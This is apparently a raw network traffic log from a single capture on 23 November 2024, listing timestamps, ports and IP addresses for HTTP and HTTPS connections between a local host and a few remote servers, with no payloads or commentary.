Nov 23, 2024 03:21:23.222134113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.223493099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.223548889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.223575115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.224836111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.224961996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.225069046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.226284027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.226344109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.226380110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.227704048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.227803946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.227833986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.229146004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.229202032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.229300022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.230376959 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.230459929 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.230462074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.230500937 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.230612040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.230623960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.230686903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.231996059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.232058048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.232094049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.232812881 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.232863903 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.232901096 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.232947111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.233395100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.233447075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.233489037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.234822035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.234875917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.234915972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.236278057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.236325026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.236365080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.237687111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.237747908 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.237751007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.237761021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.237788916 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.237826109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.237840891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.239105940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.239222050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.239276886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.240536928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.240595102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.240634918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.241966963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.242026091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.242054939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.242536068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.242656946 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.242713928 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.243396997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.243438959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.243451118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.244831085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.244980097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.245033979 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.246253014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.246308088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.246344090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.247417927 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.247467995 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.247528076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.247579098 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.247692108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.247790098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.252331972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.252382040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.252387047 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.252557039 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.257149935 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.257224083 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.257260084 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.257473946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.262017965 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.262058020 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.262119055 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.262161016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.266865969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.266926050 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.266962051 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.267007113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.271745920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.271797895 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.271859884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.271923065 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.276607990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.276647091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.276711941 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.276768923 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.281476021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.281538010 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.281574011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.281615019 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.286334991 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.286379099 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.286473989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.286520004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.291181087 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.291228056 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.291270018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.291310072 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.296070099 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.296142101 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.296176910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.296217918 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.300929070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.301001072 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.301037073 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.301079035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.305794001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.305843115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.305852890 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.305883884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.310648918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.310698032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.310760021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.310797930 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.315521002 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.315577030 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.315618992 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.315661907 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.320430994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.320492983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.320544004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.325212955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.325320959 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.341646910 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.341721058 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.341763020 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.342902899 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.342917919 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.342926979 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.342932940 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.353234053 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.353276014 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.353348970 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.353535891 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.353550911 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.378299952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.378422976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.378505945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.378725052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.378854036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.378899097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.379793882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.379899979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.379945993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.380763054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.380889893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.380944014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.381788015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.381899118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.381949902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.382806063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.382910967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.382956982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.383822918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.383924961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.384073973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.384844065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.384975910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.385024071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.385840893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.385970116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.386023998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.386868000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.386987925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.387067080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.387878895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.387989044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.388034105 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.388907909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.389062881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.389110088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.389913082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.390042067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.390264034 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.390947104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.391058922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.391103029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.391963959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.392080069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.392124891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.392960072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.393085003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.393136978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.393986940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.394105911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.394148111 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.394996881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.395116091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.395421028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.396017075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.396158934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.396204948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.397030115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.397150993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.397239923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.398060083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.398169994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.398220062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.399203062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.399271011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.399329901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.400111914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.400223017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.400274992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.401021004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.401076078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.401118994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.401132107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.401144981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.401159048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.401187897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.402131081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.402256966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.402307034 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.403132915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.403259993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.403306007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.403448105 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.403492928 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.403532982 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.403574944 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.404146910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.404268026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.404387951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.405158997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.405267000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.405369997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.406187057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.406301022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.406346083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.407186031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.407310963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.407392979 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.408210039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.408308983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.408319950 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.408358097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.408371925 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.409450054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.409461975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.409508944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.410233974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.410362005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.410428047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.411252975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.411540985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.411592960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.412276983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.412400961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.412489891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.413285971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.413404942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.413450956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.414318085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.414433956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.414479971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.415417910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.415462971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.415510893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.416357994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.416465044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.416510105 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.417375088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.417485952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.417530060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.418370962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.418474913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.418536901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.419400930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.419502020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.419601917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.420432091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.420535088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.420584917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.421421051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.421550035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.421646118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.422456980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.422564030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.422610044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.423476934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.423648119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.423877954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.424484968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.424601078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.424669981 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.425481081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.425604105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.425723076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.426517010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.426635981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.426692009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.427542925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.427655935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.427700996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.428544998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.428647995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.428699970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.429600000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.429678917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.429898024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.430583000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.430721045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.430775881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.431570053 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.431621075 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.431627989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.431642056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.431664944 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.433423996 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.433481932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.433522940 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.433564901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.437129974 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.437187910 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.437221050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.437304974 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.440866947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.440918922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.440996885 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.441040039 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.444885969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.444936991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.445682049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.445736885 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.449148893 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.449198961 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.449281931 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.449333906 CET	49790	80	192.168.2.4	185.215.113.16
